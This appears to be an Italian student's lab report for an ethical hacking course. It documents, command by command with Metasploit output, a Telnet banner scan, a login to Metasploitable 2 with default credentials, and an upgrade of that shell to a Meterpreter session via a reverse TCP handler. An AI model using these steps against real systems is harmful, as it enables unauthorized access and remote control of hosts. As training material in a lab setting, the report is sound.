

Relazione Tecnica: Exploitation del Servizio Telnet su Metasploitable 2

Studente: Mirko Imbrogno

Corso: Cyber Security & Ethical Hacking - EPICODE

Oggetto: Analisi vulnerabilità, accesso e upgrade di sessione tramite servizio Telnet.

Introduzione e Obiettivi

L'attività svolta ha avuto come obiettivo l'analisi del servizio Telnet esposto sulla macchina target *Metasploitable* 2. Seguendo la metodologia del Penetration Testing, l'esercizio si è articolato in quattro fasi principali:

1. **Ricognizione:** Identificazione della versione del servizio Telnet.
2. **Accesso Iniziale:** Ottenimento di una shell di comando tramite credenziali note.
3. **Gestione Sessioni:** Interazione con la shell ottenuta.
4. **Post-Exploitation:** Upgrade della sessione da shell semplice a Meterpreter.

Fase di Preparazione

È stata avviata la console di Metasploit Framework (`msfconsole`) sulla macchina attaccante (Kali Linux) per preparare l'ambiente di test.

[illegible]

Avvio di Metasploit Framework.

Fase 1: Scansione del Servizio (Information Gathering)

Per identificare le specifiche del servizio Telnet attivo sul target, è stato ricercato il modulo scanner appropriato nel database di Metasploit. È stato selezionato il modulo `auxiliary/scanner/telnet/telnet_version`.

```
msf > search type:auxiliary scanner telnet
```

Matching Modules

#	Name	Disclosure Date	Rank	Check	Description
0	auxiliary/scanner/telnet/brocade_enable_login	.	normal	No	Brocade Enable Login Check
1	auxiliary/scanner/ssh/juniper_backdoor	2015-12-20	normal	No	Juniper SSH Backdoor
2	auxiliary/scanner/telnet/lantronix_telnet_password	.	normal	No	Lantronix Telnet Password Recovery
3	auxiliary/scanner/telnet/lantronix_telnet_version	.	normal	No	Lantronix Telnet Service Banner Detection
4	auxiliary/admin/http/netgear_pnpx_getsharefolderlist_auth_bypass	2021-09-06	normal	Yes	Netgear PNXX GetShareFolderList Authentication Bypass
5	auxiliary/scanner/telnet/telnet_ruggedcom	.	normal	No	RuggedCom Telnet Password Generator
6	auxiliary/scanner/telnet/satel_cmd_exec	2017-04-07	normal	No	Satel Iberia SenNet Data Logger and Electricity Meters Command Injection Vulnerability
7	auxiliary/scanner/telnet/telnet_login	.	normal	No	Telnet Login Check
8	auxiliary/scanner/telnet/telnet_version	.	normal	No	Telnet Service Banner Detection
9	auxiliary/scanner/telnet/telnet_encrypt_overflow	.	normal	No	Telnet Service Encryption Key ID Overflow Detection

Interact with a module by name or index. For example `info 9`, `use 9` or `use auxiliary/scanner/telnet/telnet_encrypt_overflow`

```
msf > use 8
msf auxiliary(scanner/telnet/telnet_version) > show options
```

Ricerca e selezione del modulo telnet version.

Successivamente, il modulo è stato configurato impostando l'indirizzo IP della macchina target (**RHOSTS 192.168.1.149**). L'esecuzione dello scanner ha confermato che la porta 23 è aperta e ha restituito il banner del servizio, identificando il sistema operativo come "Metasploitable" (Ubuntu).

```
msf auxiliary(scanner/telnet/telnet_version) > show options
```

Module options (auxiliary/scanner/telnet/telnet_version):

Name	Current Setting	Required	Description
PASSWORD		no	The password for the specified username
RHOSTS		yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	23	yes	The target port (TCP)
THREADS	1	yes	The number of concurrent threads (max one per host)
TIMEOUT	30	yes	Timeout for the Telnet probe
USERNAME		no	The username to authenticate as

View the full module info with the `info`, or `info -d` command.

```
msf auxiliary(scanner/telnet/telnet_version) > set rhost 192.168.1.149  
rhost => 192.168.1.149  
msf auxiliary(scanner/telnet/telnet_version) > run  
[*] 192.168.1.149:23 - 192.168.1.149:23 TELNET  
  
dev[at]metasploit.com\x0a\x0aLogin with msfadmin/msfadmin to get started\x0a\x0a\x0ametasploitable login:  
[*] 192.168.1.149:23 - Scanned 1 of 1 hosts (100% complete)  
[*] Auxiliary module execution completed  
msf auxiliary(scanner/telnet/telnet_version) >
```

Configurazione ed esito della scansione Telnet.

Fase 2: Autenticazione e Creazione della Sessione

Una volta confermata la presenza del servizio, si è proceduto al tentativo di accesso utilizzando credenziali note (`msfadmin:msfadmin`). È stato ricercato e selezionato il modulo `auxiliary/scanner/telnet/telnet_login`.

```
msf auxiliary(scanner/telnet/telnet_version) > back
msf > search type:auxiliary scanner telnet

Matching Modules

#  Name                                                                 Disclosure Date  Rank  Check  Description
-  -
0  auxiliary/scanner/telnet/brocade_enable_login                      .              normal No      Brocade Enable Login Check Scanner
1  auxiliary/scanner/ssh/juniper_backdoor                            2015-12-20     normal No      Juniper SSH Backdoor Scanner
2  auxiliary/scanner/telnet/lantronix_telnet_password                .              normal No      Lantronix Telnet Password Recovery
3  auxiliary/scanner/telnet/lantronix_telnet_version                 .              normal No      Lantronix Telnet Version Service Banner Detection
4  auxiliary/admin/http/netgear_pnp_getsharefolderlist_auth_bypass    2021-09-06     normal Yes   Netgear PNP GetShareFolderList Authentication Bypass
5  auxiliary/scanner/telnet/telnet_ruggedcom                         .              normal No      RuggedCom Telnet Password Generator
6  auxiliary/scanner/telnet/satel_cmd_exec                           2017-04-07     normal No      Satel Iberia SenNet Data Logger and Electricity Meters Command Injection Vulnerability
7  auxiliary/scanner/telnet/telnet_login                             .              normal No      Telnet Login Check Scanner
8  auxiliary/scanner/telnet/telnet_version                           .              normal No      Telnet Version Banner Detection
9  auxiliary/scanner/telnet/telnet_encrypt_overflow                  .              normal No      Telnet Service Encryption Key ID Overflow Detection

Interact with a module by name or index. For example info 9, use 9 or use auxiliary/scanner/telnet/telnet_encrypt_overflow

msf > use 7
```

Selezione del modulo telnet_login.

Il modulo è stato configurato con i seguenti parametri:

- **RHOSTS:** 192.168.1.149 (Target)
- **USERNAME:** msfadmin
- **PASSWORD:** msfadmin
- **STOP_ON_SUCCESS:** true (per fermare il modulo al primo login valido).

L'esecuzione ha avuto successo, portando all'apertura della **Sessione 1**.

```
msf auxiliary(scanner/telnet/telnet_login) > show options
Module options (auxiliary/scanner/telnet/telnet_login):
  Name           Current Setting  Required  Description
  ANONYMOUS_LOGIN false           yes       Attempt to login with a blank username and password
  BLANK_PASSWORDS false           no        Try blank passwords for all users
  BRUTEFORCE_SPEED 5               yes       How fast to bruteforce, from 0 to 5
  CreateSession    true            no        Create a new session for every successful login
  DB_ALL_CREDS     false           no        Try each user/password couple stored in the current database
  DB_ALL_PASS      false           no        Add all passwords in the current database to the list
  DB_ALL_USERS     false           no        Add all users in the current database to the list
  DB_SKIP_EXISTING none            no        Skip existing credentials stored in the current database (Accepted
: none, user, user@realm)
  PASSWORD         no              no        A specific password to authenticate with
  PASS_FILE        no              no        File containing passwords, one per line
  RHOSTS           yes             yes       The target host(s), see https://docs.metasploit.com/docs/using-met
asploit/basics/using-metasploit.html
  RPORT            23             yes       The target port (TCP)
  STOP_ON_SUCCESS  false           yes       Stop guessing when a credential works for a host
  THREADS          1              yes       The number of concurrent threads (max one per host)
  USERNAME         no              no        A specific username to authenticate as
  USERPASS_FILE   no              no        File containing users and passwords separated by space, one pair p
er line
  USER_AS_PASS     false           no        Try the username as the password for all users
  USER_FILE        no              no        File containing usernames, one per line
  VERBOSE          true            yes       Whether to print output for all attempts

View the full module info with the info, or info -d command.

msf auxiliary(scanner/telnet/telnet_login) > set rhost 192.168.1.149
rhost => 192.168.1.149
msf auxiliary(scanner/telnet/telnet_login) > set username
username =>
msf auxiliary(scanner/telnet/telnet_login) > set username msfadmin
username => msfadmin
msf auxiliary(scanner/telnet/telnet_login) > set password msfadmin
password => msfadmin
msf auxiliary(scanner/telnet/telnet_login) > set stop_on_success true
stop_on_success => true
msf auxiliary(scanner/telnet/telnet_login) > run
[*] 192.168.1.149:23 - No active DB -- Credential data will not be saved!
[+] 192.168.1.149:23 - 192.168.1.149:23 - Login Successful: msfadmin:msfadmin
[*] 192.168.1.149:23 - Attempting to start session 192.168.1.149:23 with msfadmin:msfadmin
[*] Command shell session 1 opened (192.168.1.150:36759 -> 192.168.1.149:23) at 2026-01-20 09:05:22 -0500
[*] 192.168.1.149:23 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

Esecuzione del login e apertura della sessione shell.

Fase 3: Verifica e Gestione delle Sessioni

Per confermare la stabilità della connessione, sono state elencate le sessioni attive con il comando `sessions -I`. Successivamente, si è interagito con la sessione appena creata utilizzando il comando `sessions -i 1`. L'output ha confermato l'accesso alla shell del sistema target (`msfadmin@metasploitable:~$`).

```
msf auxiliary(scanner/telnet/telnet_login) > sessions -I

Active sessions

=====
  Id  Name  Type  Information                                     Connection
  --  ---  ---  -
  1    shell TELNET msfadmin:msfadmin (192.168.1.149:23) 192.168.1.150:36759 → 192.168.1.149:23 (192.168.1.149)

msf auxiliary(scanner/telnet/telnet_login) > sessions -i 1
[*] Starting interaction with 1...

Shell Banner:
msfadmin@metasploitable:~$
```

Interazione con la sessione Telnet attiva.

Fase 4: Upgrade della Sessione a Meterpreter

L'ultima fase ha riguardato l'elevazione della qualità della connessione, trasformando la shell di base in una sessione **Meterpreter**, che offre funzionalità avanzate di post-exploitation. La sessione 1 è stata messa in background (Backgrounding). È stato quindi ricercato il modulo di post-exploitation `post/multi/manage/shell_to_meterpreter`.

```
msfadmin@metasploitable:~$ ^Z
Background session 1? [y/N] y
msf auxiliary(scanner/telnet/telnet_login) > back
msf > search type:post multi shell meterpreter

Matching Modules
=====
  #  Name                                     Disclosure Date  Rank  Check  Description
  -  -
  0  post/multi/gather/multi_command         .              normal No    Multi Gather Run Shell Command Resou
rce File
  1  post/multi/gather/ubiquiti_unifi_backup .              normal No    Multi Gather Ubiquiti UniFi Controll
er Backup
  2  post/multi/recon/local_exploit_suggester .              normal No    Multi Recon Local Exploit Suggester
  3  post/multi/recon/persistence_suggester .              normal No    Persistence Exploit Suggester
  4  post/multi/manage/shell_to_meterpreter .              normal No    Shell to Meterpreter Upgrade

Interact with a module by name or index. For example info 4, use 4 or use post/multi/manage/shell_to_meterpreter
msf > use 4
```

Background della sessione e ricerca del modulo di upgrade.

Il modulo è stato configurato impostando il parametro **SESSION** su **1** (l'ID della shell Telnet precedentemente ottenuta). L'esecuzione del modulo ha avviato un handler locale sulla porta 4433 e ha inviato lo stage al target. L'operazione si è conclusa con successo aprendo la **Sessione 2 (Meterpreter)**. La verifica finale con **sessions -I** mostra ora due sessioni attive: la shell originale e la nuova sessione Meterpreter.

```
msf post(multi/manage/shell_to_meterpreter) > show options
Module options (post/multi/manage/shell_to_meterpreter):
  Name      Current Setting  Required  Description
  --      -
  HANDLER   true             yes       Start an exploit/multi/handler to receive the connection
  LHOST     192.168.1.149    no        IP of host that will receive the connection from the payload (Will try to a
  LPORT     4433             yes       Port for payload to connect to.
  SESSION   1                yes       The session to run this module on

View the full module info with the info, or info -d command.

msf post(multi/manage/shell_to_meterpreter) > set session 1
session => 1
msf post(multi/manage/shell_to_meterpreter) > run
[*] SESSION may not be compatible with this module:
[*] * Unknown session platform. This module works with: Linux, OSX, Unix, Solaris, BSD, Windows.
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.1.150:4433
[*] Sending stage (1062760 bytes) to 192.168.1.149
[*] Meterpreter session 2 opened (192.168.1.150:4433 -> 192.168.1.149:54942) at 2026-01-20 09:11:12 -0500
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
msf post(multi/manage/shell_to_meterpreter) > sessions -I

Active sessions
  --  --  --
  Id  Name  Type              Information                                     Connection
  --  --  --
  1    shell  telnet             TELNET msfadmin:msfadmin (192.168.1.14 9:23)  192.168.1.150:36759 -> 192.168.1.149:23 (192.168.1.149)
  2    meterpreter x86/linux  msfadmin @ metasploitable.localdomain  192.168.1.150:4433 -> 192.168.1.149:54942 (192.168.1.149)
```

Esecuzione dell'upgrade e conferma della sessione Meterpreter.

Conclusioni

L'esercitazione ha dimostrato come un servizio Telnet configurato con credenziali deboli o di default possa essere facilmente sfruttato per ottenere l'accesso iniziale a un sistema. Inoltre, è stato verificato come sia possibile scalare da una shell limitata a uno strumento potente come Meterpreter utilizzando i moduli di post-exploitation di Metasploit, evidenziando l'importanza di disabilitare servizi non sicuri come Telnet in favore di protocolli cifrati come SSH.